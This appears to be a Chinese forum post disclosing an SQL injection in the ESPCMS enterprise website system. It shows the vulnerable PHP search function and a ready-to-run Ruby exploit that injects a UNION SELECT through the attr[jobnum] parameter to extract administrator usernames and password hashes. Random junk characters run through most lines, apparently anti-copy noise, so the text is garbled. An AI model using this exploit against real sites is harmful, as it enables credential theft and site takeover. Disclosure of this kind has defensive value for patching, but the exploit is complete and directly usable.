0×0 漏洞概述0×1 漏洞细节
" n1 Z/ S( A' M0×2 PoC
0 A. K4 o9 q( _! ~" E) _4 ~" {) m9 Z7 f
& `3 \" [* L6 L: n7 ?8 L8 q
* [" ?$ V* T) L0×0 漏洞概述
2 \: G# l" Q3 v) s3 M7 A \# l' N
# |2 u( y$ u8 B9 e" ~易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。3 N9 c& g: @, a# a
其在处理传入的参数时考虑不严谨导致SQL注入发生
* q1 h5 y% X3 [* f4 e3 p* A. K, q7 G' P: A6 |5 Q) c
- k0 r0 s6 G/ R4 U; X- J0×1 漏洞细节
1 V3 E* k! ]: S$ z' b4 {- G/ o
; x/ s$ g e5 B7 K3 Q8 O变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。! }! b$ l$ w1 K
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。# T' f: B* V, h g9 {4 X, A
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
& m. l0 A% ?4 z% Y# H
# V$ |* @' B: |" j8 \: L4 K* ^+ {在/interface/3gwap_search.php文件的in_result函数中:* ]* B# G) ~! K. Q$ @& I* t& L
) c9 I; z3 w9 h- q1 O
6 V" S( K9 T1 g6 T- r5 m' W: m. `) N% Z& q: C) a6 X" X
function in_result() {; k* I$ m3 u4 r$ N1 o
... ... ... ... ... ... ... ... ...4 E0 t3 r1 M) P2 y
$urlcode = $_SERVER[ 'QUERY_STRING '];
- e8 u1 x. f# A9 q: B, ] parse_str(html_entity_decode($urlcode), $output);
& Y% H; w9 T6 r* [2 T, c5 J+ d& p" C! ~! t
... ... ... ... ... ... ... ... ...
( l5 C/ V) p7 v }: ? if (is_array($output['attr' ]) && count($output['attr']) > 0) {) @% W$ C8 S& U6 R2 O$ ?* W
6 G- P* o, o ~- S3 @2 j7 l8 Y ^. y $db_table = db_prefix . 'model_att';% K" @+ J2 {; ]7 v, }" l
" U4 E, n+ l% w- J1 L
foreach ($output['attr' ] as $key => $value) {$ r9 t3 s, @$ N3 n+ L& e
if ($value) {
: l/ V- a5 G; D- g2 |7 q3 f
' e8 a b( O8 |' h $key = addslashes($key);1 c" ~3 L9 s6 p
$key = $this-> fun->inputcodetrim($key);
0 _/ E, T- i& F: ^% z ?. W $db_att_where = " WHERE isclass=1 AND attrname='$key'";" ]5 @7 D9 [; k" Q. P! ^
$countnum = $this->db_numrows($db_table, $db_att_where);+ c' ~. d% D8 e& j
if ($countnum > 0) {4 K: l$ J5 T5 n% T+ B0 T" y' t
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
6 v" Z2 m6 g ?- s* h4 G" p! e0 M }& f1 k% m3 j3 v' ^! ]# w$ k ?1 y
}2 E& L6 b( J) X% @5 e
}
% j2 a4 F8 T' f% ? }" c: I" }0 T0 q3 r; }
if (!empty ($keyword) && empty($keyname)) {0 a8 J; y! l* n7 i9 _ R8 p
$keyname = 'title';! q- Y8 C s+ a3 P& A$ v8 Z) S
$db_where.= " AND a.title like '%$keyword%'" ;: c( w5 i3 q2 N- j' U4 ^
} elseif (!empty ($keyword) && !empty($keyname)) {/ ^- }- S. {, N3 L
$db_where.= " AND $keyname like '% $keyword%'";8 i* ^2 N9 R/ H+ @. k$ m* t$ Y
}
1 B" f1 h/ _1 H. Z( L $pagemax = 15;
5 U7 g: `2 {4 O% l4 ^3 h4 f8 r" S: a, l
$pagesylte = 1;
" ^5 h+ x! k9 x3 ^
5 j$ M9 p m7 n" a3 t0 D if ($countnum > 0) { ?: J; R$ g, v
5 a) H7 f2 O8 m( c4 V z $numpage = ceil($countnum / $pagemax);7 Q# q1 [2 J7 }5 X+ Z; r; f
} else {
# O: U( J% L% B# `0 t $numpage = 1;- @. w* f/ J: N
}3 t; P, g3 N% U# A- h
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
" t: S5 ? q u( w4 o1 o $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
$ R; v7 z& k" q( B" e2 y' j. p$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
% y) @6 s6 ]. E' m, }9 g, m0 d+ o ... ... ... ... ... ... ... ... ...
6 s1 p. m! t3 K9 g9 z6 W( l2 q }& d2 D- R3 W5 a9 S
. b( \. G9 [+ b( v N& x4 \+ n, x& ^
0×2 PoC
( w: K4 X# j7 {* M! K0 o8 E2 i" }+ J7 D# A: {+ ]* `) C0 n/ }) ]
/ A8 X1 _; z; f. Q
4 `5 j# Z! C% ]& j* {1 W4 A/ ~( erequire "net/http"( C$ D6 K! P! b1 J! n* w7 @
5 K; g6 h( e5 C5 g0 ^+ c5 [8 W' }
def request(method, url) Y8 q/ M; a6 A2 A% {+ |% \
if method.eql?("get")
" G4 i, {) O$ T; \5 T7 Z uri = URI.parse(url)
1 U* k( ?+ @6 X$ L4 o http = Net::HTTP.new(uri.host, uri.port)
$ L- r' h0 C6 N9 I response = http.request(Net::HTTP::Get.new(uri.request_uri))/ G0 E. Y% h# q5 J" ~1 r& v
return response
" t4 U, J, Q$ @' S end
( i# f- P: E( m- Gend
3 V1 [ \2 }; S; J6 V E. M) v0 G- o
6 ]) Y7 L& W5 d% K% w% T& L" }doc =<<HERE" }) t6 v- b6 ?9 r1 m
-------------------------------------------------------
8 Q0 z) j6 r$ K4 l: ZEspcms Injection Exploit, \' F- g' }/ ^ o1 Y7 _+ L
Author:ztz
- \* d! G& D: E h4 \9 A e" ^Blog:http://ztz.fuzzexp.org/
4 p; x/ }% H! n0 i* J( L" N5 w- `-------------------------------------------------------
0 y4 n0 A/ h7 f4 `: n) |2 k" w4 b4 j- ~* U
HERE
7 p, r4 |+ h$ \5 {7 d( q
- v9 V& s5 x+ g8 c2 husage =<<HERE6 R1 f- e% z- i7 g8 R. L2 R+ |
Usage: ruby #{$0} host port path
* M% {$ b8 ^% _ L& Y: Hexample: ruby #{$0} www.target.com 80 /
) M) C5 | N* v; D3 c6 xHERE7 R5 D# N# T/ ?; Q9 W# v' T* R7 K) O
, }1 E* r1 U/ O
puts doc
K% _! {: M% D$ E O$ ~if ARGV.length < 3# r' v$ H5 A0 g2 r4 p
puts usage
% x& N( M$ I% W' K' C$ selse# n1 U) Y, s* @: t# V$ Y
$host = ARGV[0]
2 f- \7 @1 W% h) | z. V8 n $port = ARGV[1]5 R( u: T. Z! r! V/ y6 H. A5 }
$path = ARGV[2]
7 I* R/ W7 Q% V0 k; M N5 J2 L5 X9 I
# [% G: i( s0 J6 p, L; i% i puts "send request..."
u: g. P$ K! i" U( K* b: X url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
& i# T9 x5 k$ ^! b& ]5 w+ e0 pattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
: c1 E2 g8 i7 a3 c0 q) p# ~,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,277 C) i' M1 Z" l
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"5 p5 {1 a4 n8 {5 O7 A
response = request("get", url)7 Z3 N' F) b# G0 T: s. R$ N
result = response.body.scan(/\w+&\w{32}/)
2 H: O U* l. z* [8 a. ?2 z puts result; U; s& k" K/ q& Y5 @$ \( N
end: c& t y. n5 j( K# `
: `' R: k4 O+ m/ `& z
|